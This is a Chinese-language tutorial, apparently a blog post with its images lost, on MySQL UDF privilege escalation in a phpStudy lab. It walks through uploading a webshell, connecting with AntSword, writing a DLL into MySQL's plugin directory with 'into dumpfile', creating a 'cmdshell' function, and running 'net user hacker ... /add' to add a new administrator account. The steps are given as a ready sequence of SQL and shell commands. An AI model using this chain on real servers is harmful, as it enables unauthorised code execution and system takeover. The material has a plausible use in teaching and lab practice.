UDF提权
• UDF(User Defined Function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
• UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)
提权条件:
1、MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能
2、掌握mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数
3、拥有可以将udf.dll写入相应目录的权限。
1、环境准备
1)将phpstudy中的服务变为系统服务

2)将apache降权为普通用户

创建普通用户

选择普通用户登录
3)将apache用户赋予phpstudy目录的读写权限




重启apache服务
4)修改mysql配置文件,并重启mysql服务

修改mysql配置文件

重启mysql服务
2、访问网站目录,上传木马文件

3、连接蚁剑

连接蚁剑
4、打开虚拟终端

打开虚拟终端
5、查看当前用户

查看当前用户
6、进入数据库操作


连接数据库

连接成功
7、查看数据库版本
select version();

查看数据库版本
8、查看mysql导出路径
show variables like "%plugin%";

查看mysql导出路径
9、选择test库,创建一个表
create table my_udf_data(data longblob);

创建一个表
10、插入数据
insert into my_udf_data values(0x4d5a........); //内容过长

插入数据
11、写入dll文件
select data from my_udf_data into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\myudf.dll';
注意:如果没有plugin目录,需自己创建

写入dll文件
12、创建自定义函数
create function cmdshell returns string soname "myudf.dll";

创建自定义函数
13、查看当前用户
select cmdshell('whoami');

查看当前用户
14、添加新用户
select cmdshell('net user hacker admin@123 /add');

添加新用户
15、将新用户添加到管理员组
select cmdshell('net localgroup administrators hacker /add');

将新用户添加到管理员组